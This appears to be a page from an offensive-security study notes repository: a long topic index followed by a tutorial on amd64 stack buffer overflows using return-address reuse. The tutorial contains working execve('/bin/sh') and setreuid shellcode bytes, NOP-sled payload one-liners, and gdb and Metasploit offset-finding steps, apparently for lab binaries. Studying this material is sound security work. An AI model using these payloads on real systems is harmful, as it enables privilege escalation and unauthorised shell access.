Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Return Address reuse
  - via Shellcode, an examples
  - Finding Offset
    - via gdb segfault output
    - via metasploit
  - Crafting Payload
  - NopSled
  - setuid() and setreuid()
    - setreuid() in assembler
    - setreuid() in shellcode using pwntools

# Return Address reuse

## via Shellcode, an examples

- Find out the address of the start of the buffer and the start address of the return address
- Calculate the difference between these addresses so you know how much data to enter to overflow

- Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address

- Plus NOPsled (sometimes xargs is needed in front of the app call)

    python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow

## Finding Offset

### via gdb segfault output

- 64 bit addresses use 6 out of 8 byte for addresses.

    gdb ./application
    run $(python -c "print('\x41' * 180)")

- Return address hit completely when 6 bytes are filled.

    Program received signal SIGSEGV, Segmentation fault.
    0x0000414141414141 in copy_arg ()

- Buffer = measured_length - (`$rbp` + 6 bytes return address)

### via metasploit

    /opt/metasploit/tools/exploit/pattern_create.rb -l 180

- Looking for `rbp` Content in front of the return address to measure offset

    (gdb) i r
    [...]
    rbp             0x<rbpAddress>  0x<rbpConent>
    [...]

- Measure offset

    pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>

## Crafting Payload

- Contains Junk/NOPslice + shellcode + Junk over rbp + return address
- Inside gdb

    run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")

- Check actual stack

    (gdb) x/100x $rsp-200
    0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
    0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
    0x7fffffffe248: 0xffffe64d  0x00007fff  0x41414141  0x41414141
    0x7fffffffe258: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe268: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe278: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe288: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe298: 0x41414141  0x41414141  0x41414141  0x41414141
    0x7fffffffe2a8: 0x41414141  0x41414141  0x41414141  0x48583b6a
    0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149
    [...]

- Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`.

## NopSled

- Prepend nopsled instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`.

    (gdb) x/100x $rsp-200
    0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
    0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
    0x7fffffffe248: 0xffffe64d  0x00007fff  0x90909090  0x90909090
    0x7fffffffe258: 0x90909090  0x90909090  0x90909090  0x90909090
    0x7fffffffe268: 0x90909090  0x90909090  0x90909090  0x90909090
    0x7fffffffe278: 0x90909090  0x90909090  0x90909090  0x90909090
    0x7fffffffe288: 0x90909090  0x90909090  0x90909090  0x90909090
    0x7fffffffe298: 0x90909090  0x90909090  0x90909090  0x90909090
    0x7fffffffe2a8: 0x90909090  0x90909090  0x90909090  0x48583b6a
    0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149

- Convert return address to little endian `0x7fffffffe2a8` -> `\xa8\xe2\xff\xff\xff\x7f` and put it inside the return address

    run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")

## setuid() and setreuid()

- Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed.
- `/bin/sh` checks real uid not effective uid
- ./shellcodes/setuid_shell.as

### setreuid() in assembler

- Linux Syscall Table
- `setreuid(1002,1002)` sets the real uid inside the shell to 1002.
- `setreuid()` has `rax` number `\x71` (`113` dec). Args are stored in `rdi` and `rsi`.
- ./shellcode/setreuid_shell.as

    "\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"

- Convert to hex output via Defuse

### setreuid() in shellcode using pwntools

- Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner.

    * [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
    shellcraft -f d amd64.linux.setreuid

- The uid can be set as an argument

    shellcraft -f d amd64.linux.setreuid <uid>

- Prepend this in front of the existing shellcode like this

    run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")

    * Where the existing shellcode is the following
    ```sh
    \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
    ```
    * Setreuid part is the following
    ```sh
    \x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
    ```